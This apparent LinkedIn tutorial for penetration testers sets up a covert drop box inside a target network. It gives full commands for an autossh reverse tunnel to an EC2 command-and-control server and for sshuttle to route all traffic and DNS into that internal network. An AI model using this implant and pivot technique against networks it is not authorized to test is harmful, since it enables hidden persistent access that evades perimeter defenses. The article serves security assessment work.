Simple drop box for full network access

Simple drop box for full network access

Part 2. Why, How, What, Edit C2, Edit drop box, Full access.

Why change what works

Different scenarios require different solutions. The solution described in part 1 of this "Simple drop box"-series works quite well. Both solutions have their own advantages and disadvantages. An advantage from the original solution is that the dataset you are working with can stay on site. The disadvantage is that you have limited hardware resources.

Part 1, look no further.

How it works

First some history. The single requirement for the original solution was that the connection is opened from the inside network - this requirement will persist. The easy solution was to deploy the drop box with the resources that was needed to fulfill the assignment that you are set on doing. Initially I created two SSH connections to control the drop box itself. This is pictured below:

No alt text provided for this image

The great disadvantage with this is that a SBC is not very powerful when it comes to hardware resources. I initially did struggle with having the Kali operating system on the eMMC storage with only 8GB of space, not to mention the need to have a rather large password database to spray from.

With this improved solution you do not need to have much hardware resources on site - just enough to have the tunnel running. SSH and Python is required on site.

No alt text provided for this image

I tried to picture that you, after the connection is opened from the inside, made what seem to be a single connection directly to the inside network, without accessing the terminal on either the drop box nor the C2 server. Pretty useful I must say.

What do you need

Much like in the previous post you will need:

  1. Amazon EC2 instance
  2. Single Board Computer (SBC)

I figure that the minimum requirements for the SBC will be a couple of cores with a single gig of memory.

Edit C2

Change this single line in the EC2 instance with the command "nano /etc/ssh/sshd_config".

No alt text provided for this image

"GatewayPorts yes" will enable the drop box to choose the EC2 interface to expose the SSH tunnel on. After this change have been made, reboot the SSH service or the entire EC2 appliance.

Edit drop box

Remember that we edited the "rc.local" file to start autossh on boot? Now we need to pick the interface to make available the SSH tunnel. In this case I chose to expose the SSH tunnel on all interfaces and all protocols - IPv4 and IPv6. I edited the line to look like this:

autossh -M 11166 -o "PubkeyAuthentication=yes" -o "PasswordAuthentication=no" -i /root/.ssh/id_rsa -R \*:6666:localhost:22 [email protected]

Did you see the change? I edited this part "6666:localhost:22" to be "\*:6666:localhost:22".

I could have picked 0.0.0.0:6666:localhost:22 for all IPv4 interfaces or [::]:6666:localhost:22 for all IPv6 interfaces.

Reboot the drop box. Now you are able to login directly to this box, making an invisible jump from the C2 server when the right port is used. Run a test connection to verify that all is good:

ssh -i "3.122.54.211-Key.pem" dennis@reverse.example.com -p 6666

Enter the password for the user "dennis" and voila!

No alt text provided for this image

Full access

Is that all, you might ask. No it is not - but we are getting there. Now we just need to convert this single SSH tunnel into a full VPN/transparent proxy kind of solution. This is where you will use sshuttle on your local host machine - and the best part, you do not need to be administrator or root on any of the machines to tunnel the traffic. I recommend running a Kali virtual machine with all the hardware resources that you could ever imagine using. Start sshuttle like this:

sshuttle --dns -r dennis@reverse.example.com:6666 0/0 --ssh-cmd 'ssh -i 3.122.54.211-Key.pem'

After you have entered the password for the local user "dennis" on the drop box, the remote network will welcome your local Kali virtual machine. You will see something like this:

No alt text provided for this image

A small explanation for the connection string:

"--dns" send local DNS requests through tunnel
"-vr" v for verbose, r for remote
"dennis" is the username on drop box
"reverse.example.com" pointing to EC2 instance
"6666" mapped port for drop box
"0/0" essentially 0.0.0.0/0 - the network you want to reach - I could have gone with 192.168.0.0/24
"--ssh-cmd" extra commands
"3.122.54.211-Key.pem" key for EC2 instance 

That is all! Again, happy assessing, testing, scanning, deploying, upgrading, backuping, or whatever you want to do. :)

If you liked this post, please click "Like" so that others can find it.

About: Dennis Perto is an enthusiastic security analyst who places great honour in genuinely humble consulting. He believes in serving the client with expert knowledge, and in not being afraid to admit when he is not the right expert anymore. He enjoys researching vulnerabilities and exploits to advise trusted partners.

Feel free to connect with me here on LinkedIn, and follow me on Twitter: @PertoDK




Steve McKee

.?l?.?l?. Account Executive

5 年

Great article Dennis Perto?! The last statement "That is all! Again, happy assessing, testing, scanning, deploying, upgrading, backuping, or whatever you want to do. :)" got me intrigued, particularly the "or whatever you want to do :)" :). Hope you and the team are well !.

Michael Karamoutchev

Cyber Security Engineer

5 年

I think Dennis Perto is modest with \*:6666:localhost:22. It still gives you “what-if” ideas ??????. Excellent post!

Thor Kristiansen

Hack-proof your business - hire an offensive security expert

5 年

Effing awesome.

要查看或添加评论,请登录

Dennis Perto的更多文章

  • Concluding on my OSCP journey

    Concluding on my OSCP journey

    Some fear the OSCP. Some see the OSCP as an entrance into the penetration testing- or even the IT Security field.

    61 条评论
  • Testing Wazuh at home

    Testing Wazuh at home

    Today I had an hour to spare and decided to test Wazuh. I have heard about OSSEC many years ago but never tried it.

    7 条评论
  • Simple drop box with reverse shell

    Simple drop box with reverse shell

    Part 1. Why, How, What, Create C2, Create drop box, Got shell.

    15 条评论
  • Cisco WLC on QNAP NAS

    Cisco WLC on QNAP NAS

    For a long time I have been looking for a home lab solution for the Cisco Wireless Lan Controller. My QNAP NAS supports…

    3 条评论
  • FirePOWER 8200 and 8300 hardware specs

    FirePOWER 8200 and 8300 hardware specs

    These specs are my personal notes from working with the different appliances. Please tell me if you find any of this…

    5 条评论
  • Looking at the future of Snort

    Looking at the future of Snort

    Differences between Snort 2 and Snort 3 (dubbed Snort++) can be seen in this document on Github. The biggest difference…

    10 条评论
  • Reimage "old" Firepower appliances

    Reimage "old" Firepower appliances

    As you may already know I am working with Cisco Firepower on a daily basis. Not just the new and shiny Firepower 2100…

    15 条评论
  • Honeypot generating blacklists for Cisco Firepower

    Honeypot generating blacklists for Cisco Firepower

    I will iterate through the steps of grabbing data from the log files generated by Heralding to make blacklists on the…

    12 条评论
  • SSL/TLS decryption in Cisco hardware

    SSL/TLS decryption in Cisco hardware

    I am about to write a bit about the problems with decrypting traffic both before and after the year of 2018. I will…

    16 条评论
  • Firepower Threat Defense packet processing

    Firepower Threat Defense packet processing

    Do you ever have that feeling that the documentation is not technical enough? I do. I have seen a whole bunch of…

    20 条评论

社区洞察

其他会员也浏览了